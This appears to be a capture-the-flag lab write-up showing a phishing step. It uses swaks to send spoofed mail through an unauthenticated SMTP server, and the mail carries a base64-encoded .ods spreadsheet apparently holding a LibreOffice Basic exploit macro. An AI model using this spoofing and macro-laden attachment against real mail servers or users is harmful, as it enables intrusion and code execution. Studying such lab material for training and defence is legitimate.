Phishing
Upon validating the credential of the jonas user against the target IMAP and POP3, reading mails revealed that the target organization is changing its office suite to Libre Office and all the spreadsheets and documents will be processed at the mail server for compatibility.
Additionally, it was shown that the mailadmin user is supposed to receive a spreadsheet for printing with all the company contacts.
The sender also asks the ela user to install the Office Suite to her computer.
Given situation raises an opportunity to conduct a phishing attack against the mailadmin user with a spreadsheet file as an attachment for Libre Office as relevant files would be “processed” at the mail server.
While the spreadsheet file for Libre Office uses the .ods extension, 2 payloads have been already prepared
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hepet]
└─$ swaks --to mailadmin@localhost --server 192.168.159.140
=== Trying 192.168.159.140:25...
=== Connected to 192.168.159.140.
<- 220 localhost ESMTP server ready.
-> EHLO kali
<- 250-localhost Hello kali; ESMTPs are:
<- 250-TIME
<- 250-SIZE 0
<- 250 HELP
-> MAIL FROM:<kali@kali>
<- 250 Sender OK - send RCPTs.
-> RCPT TO:<mailadmin@localhost>
<- 250 Recipient OK - send RCPT or DATA.
-> DATA
<- 354 OK, send data, end with CRLF.CRLF
-> Date: Tue, 04 Mar 2025 21:13:27 +0100
-> To: mailadmin@localhost
-> From: kali@kali
-> Subject: test Tue, 04 Mar 2025 21:13:27 +0100
-> Message-Id: <20250304211327.151438@kali>
-> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
->
-> This is a test mailing
->
->
-> .
<- 250 Data received OK.
-> QUIT
<- 221 localhost Service closing channel.
=== Connection closed with remote host.It’s possible to send out an arbitrary mail as the target SMTP server does not require authentication to send mail
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hepet]
└─$ swaks --to mailadmin@localhost --from jonas@localhost --header "subject: Company Contacts" --body "Check the attachment" --attach @contacts.ods --server $IP
=== Trying 192.168.159.140:25...
=== Connected to 192.168.159.140.
<- 220 localhost ESMTP server ready.
-> EHLO kali
<- 250-localhost Hello kali; ESMTPs are:
<- 250-TIME
<- 250-SIZE 0
<- 250 HELP
-> MAIL FROM:<jonas@localhost>
<- 250 Sender OK - send RCPTs.
-> RCPT TO:<mailadmin@localhost>
<- 250 Recipient OK - send RCPT or DATA.
-> DATA
<- 354 OK, send data, end with CRLF.CRLF
-> Date: Tue, 04 Mar 2025 22:46:22 +0100
-> To: mailadmin@localhost
-> From: jonas@localhost
-> Subject: test Tue, 04 Mar 2025 22:46:22 +0100
-> Message-Id: <20250304224622.198343@kali>
-> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
-> MIME-Version: 1.0
-> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_198343"
-> subject: Company Contacts
->
-> ------=_MIME_BOUNDARY_000_198343
-> Content-Type: text/plain
->
-> Check the attachment
-> ------=_MIME_BOUNDARY_000_198343
-> Content-Type: application/octet-stream; name="contacts.ods"
-> Content-Description: contacts.ods
-> Content-Disposition: attachment; filename="contacts.ods"
-> Content-Transfer-Encoding: BASE64
->
-> UEsDBBQAAAgAABeiZFqFbDmKLgAAAC4AAAAIAAAAbWltZXR5cGVhcHBsaWNhdGlvbi92bmQub2Fz
-> aXMub3BlbmRvY3VtZW50LnNwcmVhZHNoZWV0UEsDBBQACAgIABeiZFoAAAAAAAAAAAAAAAAaAAAA
-> QmFzaWMvU3RhbmRhcmQvRXhwbG9pdC54bWyVml1X29iShq+bX+HhYtacmZXGdMhp0tPps0pY/gjY
-> RrZlx74zsqMQg02wiSC/ft6nJJKQaXZmchEtyahUu+qttz72/vNf99dXtc/L2+3lZv1m//DX+n5t
-> uc42i8t1/mY/HTVfHO//66+9P/+t0T8ZTc/j2ja7vbzZ/XG9WdxdLWvnaXTWOantvzg46N8s1/33
-> 7y+z5a+b2/zgoDFq1Mr7xia7u16udzVJPziIe/u1/fL1Xxe7xb6EP5UphdbbP8pnb/Y/7HY3fxwc
-> bCR98036b/V6/aD8k/1Hldbz6+Wb/fj+5mpz+e3p1Xyd381z/TLczW+j+fYy23+6iNHDjX5db26v
-> 51f7fw3ibq32n/yr1SIbanHl3d7e8O6i1p1frvd+aVxe17a729p8WxvubmWpvV/2fuHBm9q/f7rb
-> 7P67/P/xGf//V/VLdr34dXm/rB2c1G42hcz+YXl15U9erDc3tRdF7cPlYrFc114sa/MkuraT3CZF
-> 9NZaR7Z4XqxFibUTy/JoYY2N9fNoZK2VLfPoyk7MzhJd27F1zOp2oueFPS9rZa2OnSe2trbZRRG9
-> tFaK5C/Wym2WRFtrFXaG5Db3+rvnZbXr5RvtLtff7SSxaW6vuer+ztpTdH2Jrhd5pC+vAmvMcru1
-> k8zemXRpryxz3Y5tUdhv1kh4/u6bpOOQvQpJaD5Z3ej71UmSJMZapRXWLCyz6HlZn62d8eYDq5yb
-> 7CIJF2Z3SF5yL53fJ+arzwqt/nlZ8RGSXtpJ3UZFdGmtDfcf8W3HpGO56jqSLxJ9IU4C9hJ+Plgr
-> wx6f0W1h0Y21uuhwx+oznrfcM1/4PQ3ZS9+MeaNusVv4Ggv3C1vxptDQcsuzWq1hmgTstUN74ctx
-> 9p2EyNodmxXRobXqFTp+ai9Z9oy/lC6ZWY7dhIYcX2r1+kKFszIGPuoasNfb3DbW3GLhj+giCQU6
-> THNQcWzTIrq1Zl2ItX+6HZ+XRXTIXgv3fm6nFvVZtXTbWXyMxE/cT7GrdEuLgL1eVb67wi6y01sk
-> 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
-> Mi90b29scGFuZWwvUEsDBBQAAAgAABeiZFoAAAAAAAAAAAAAAAAYAAAAQ29uZmlndXJhdGlvbnMy
-> L3Rvb2xiYXIvUEsDBBQAAAgAABeiZFoAAAAAAAAAAAAAAAAYAAAAQ29uZmlndXJhdGlvbnMyL2Zs
-> b2F0ZXIvUEsDBBQAAAgAABeiZFoAAAAAAAAAAAAAAAAaAAAAQ29uZmlndXJhdGlvbnMyL3N0YXR1
-> c2Jhci9QSwMEFAAACAAAF6JkWgAAAAAAAAAAAAAAABoAAABDb25maWd1cmF0aW9uczIvcG9wdXBt
-> ZW51L1BLAwQUAAAIAAAXomRaAAAAAAAAAAAAAAAAHAAAAENvbmZpZ3VyYXRpb25zMi9wcm9ncmVz
-> c2Jhci9QSwMEFAAACAAAF6JkWgAAAAAAAAAAAAAAABgAAABDb25maWd1cmF0aW9uczIvbWVudWJh
-> ci9QSwMEFAAACAAAF6JkWgAAAAAAAAAAAAAAABwAAABDb25maWd1cmF0aW9uczIvYWNjZWxlcmF0
-> b3IvUEsDBBQACAgIABeiZFoAAAAAAAAAAAAAAAAKAAAAc3R5bGVzLnhtbN1baXPbuBn+3l+hUaad
-> dqYULx+Sasuz2910O5OknSTbftyBSJBCAxIcALLs/PrFyZsUrdiOXTmTRHhPvMcDgKCvbu4yPLuF
-> lCGSX8/9hTefwTwiMcrT6/mvn986y/nN5g9XJElQBNcxifYZzLnD+D2GbCaEc7YuKGRiEHClY0/z
-> NQEMsXUOMsjWPFqTAuZWdN2VWSuzejxiLOTX8x3nxdp1D4fD4hAuCE3dzx9dSXM4vOOu5U5pHOM+
-> 7sDzQjd1Y8CBc4vg4Y2VuNvxrFfCX61WrqJa1phkA6p9V3A48FZMgFluFlFU8KnT19z1iSeEZlOl
-> JW9dNgN8NzCnpfteENVf799Zfp3NqdZM7mv2CCGlOSmgOWx0zlz9vZrZVEt3DDsJcSKSFaIwtrht
-> 9DBq9UARh7RMNEb5l+FES2qZaAoOo1PyPVfy1DyJRj2JAI5K5RVrsadYMcWRCzGUE2euv/DLcpZy
-> orxNuGha9ltC9nmse0XHD94VkCJJAliJrRsa6nFTrTq5LiVzXZpX/hwV5i3LJJleYkIuKG0Ckfrx
-> Glu5iqmewam2JK9At7qjMQ3j6eJhXJelBR/x89ylsCCUl8m4TSen4jYd6IRoB+jkpCjmRkZl4Can
-> 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
